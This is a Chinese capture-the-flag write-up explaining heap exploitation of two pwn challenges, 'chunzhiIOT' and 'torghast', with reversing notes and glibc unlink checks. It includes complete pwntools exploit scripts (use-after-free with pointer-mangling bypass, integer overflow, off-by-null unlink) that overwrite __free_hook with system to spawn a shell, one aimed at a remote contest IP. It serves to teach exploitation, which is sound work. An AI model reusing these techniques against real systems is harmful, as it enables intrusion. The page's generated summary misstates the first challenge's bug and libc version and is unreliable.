ichunqiu春季赛勇者山峰pwn-chunzhiIOT&torghast

本文探讨了一种针对ChunzhiIOT平台的漏洞利用,涉及堆溢出和libc-2.31版本的offbynull攻击。通过逆向分析,作者详细展示了如何利用整数溢出绕过检查,伪造内存指针,最终将free_hook指向system,实现了代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

chunzhiIOT

​最难的地方在于逆向懂协议的组成,动手调一调就好了

漏洞点很明显是释放堆块后没有清除相应的指针

由于libc是2.33会有一个指针加密,详细的看这个师傅的文章一道题学习glibc-2.32异或加密

exp

from pwn import *
from LibcSearcher import *

p = process('./abc')
# p=remote()
context.log_level = 'debug'
libc=ELF('./libc.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,size,cont):
    p.send('POST / HTTP/1.0 \r\n&\x01'+'&'+str(idx)+'&'+str(size)+'&'+cont)
def edit(idx,cont):
    p.send('POST / HTTP/1.0 \r\n&\x02'+'&'+str(idx)+'&'+cont)
def show(idx):
    p.send('POST / HTTP/1.0 \r\n&\x03'+'&'+str(idx))
def delete(idx):
    p.send('POST / HTTP/1.0 \r\n&\x04'+'&'+str(idx))
#login
p.send('DEV / HTTP/1.0 \r\nrotartsinimda')

add(0,0x418,'a')
add(1,0x30,'b')
delete(1)
show(1)
p.recvuntil('Content-Length: 5\n')
heapbase=u64(p.recv(5).ljust(8,'\x00'))<<12
info('heap->'+hex(heapbase))
delete(0)
add(2,0x428,'aaaa')
show(0)
p.recvuntil('Content-Length: 6\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e0ff0
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(3,0x30,'c')
add(4,0x30,'ddd')
delete(3)

delete(4)
#0x55500000939c
fd=freehook^(heapbase>>12)
info('fd->'+hex(fd))
edit(4,p64(fd))
add(5,0x30,'/bin/sh')
add(6,0x30,p64(system))
delete(5)

p.interactive()

torghast

libc版本为2.31

逆向分析

​​​​​​在这里插入图片描述
管理堆块需要playflag不为0,我们用Ctrl+X追溯playflag
在这里插入图片描述
使playflag为1需要通过挑战
在这里插入图片描述
有个整数溢出,溢出后能绕过mplist[6*user]>0x5F5E0FE的判断,也就能一步步让playflag=1
在这里插入图片描述
漏洞点出现在edit函数有个off by null。版本是libc-2.31,off by null的利用比起libc2.29之前的利用更加复杂

libc-2.29以后,unlink时加入了对size和prev_size的检测

绕过这个也很简单,伪造prev_size即可,但是unlink还会检测fd和bk

我们需要绕过的检测有两个

一个是合并时对于size的检测

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

一个是对于fd和bk的双链表的检测,需要满足fd->bk=P且bk->fd=P也就是当前堆块

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

由于已经泄露了libc和堆地址,可以直接伪造 prev_size和fd还有bk,造成堆块重叠改free__hook为system

这里解释一下为什么这样修改fd和bk

​add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)

在unlink时,会检测large_bin的fd_nextsize和bk_nextsize的是否合法

if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }

绕过这个检测也很简单,只需要让fd_nextsize和bk_nextsize等于0就可以了

如果直接放在fd_nextsize和bk_nextsize会malloc_printerr(“corrupted double-linked list (not small)”);

exp
from pwn import *
from LibcSearcher import *

#p = process('./torgh')
p=remote('47.93.2.254',15813)
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def menu(ch):
    sla('Choice:',str(ch))
def joinmenu(ch):
    sla('4. Return to Main Menu\n',str(ch))
def gain(ch):
    sla('4. Gain Infinity HP (Only GM)\n',str(ch))
def add(idx,size,cont):
    menu(1)
    sa('Select User Id',str(idx))
    sa('Player Data Size',str(size))
    sa('Input Data',cont)
def edit(idx,cont):
    menu(2)
    sla('Which Player To Change?',str(idx))
    sa('Your Log:',cont)
def delete(idx):
    menu(3)
    sla('Which Player You Want To Delete:',str(idx))
def change(idx):
    menu(2)
    sla('Choose Which User?',str(idx))
def exit():
    menu(4)
# int overflow
menu(1)
joinmenu(1)
for i in range(3):
    joinmenu(2)
    gain(1)
joinmenu(2)
gain(4)
for i in range(2):
    joinmenu(1)
    sl('1')
joinmenu(4)
menu(3)
add(1,0x438,'aaa')
add(2,0x18,'bbb')
delete(1)

add(1,0x18,'a')
menu(4)
change(1)
menu(1)
joinmenu(3)
p.recvuntil('Here Is The Adventure Log:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecf61
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
p.recv(10)
heapbase=u64(p.recv(6).ljust(8,'\x00'))-0x2d0
info('heap->'+hex(heapbase))

joinmenu(4)
menu(3)
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
add(4,0x20,'ccc')
add(5,0x20,'ccc')
add(6,0x28,'ccc')
add(7,0x4f0,'ddd')
add(8,0x30,'eeeee')
edit(6,'a'*0x20+p64(0x4c0))
delete(7)
add(7,0x400,'aaaa')
add(9,0x20,'ccc')

delete(6)
delete(2)
edit(9,p64(freehook))
add(2,0x20,'/bin/sh\x00')
add(6,0x20,p64(system))
delete(2)
p.interactive()

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值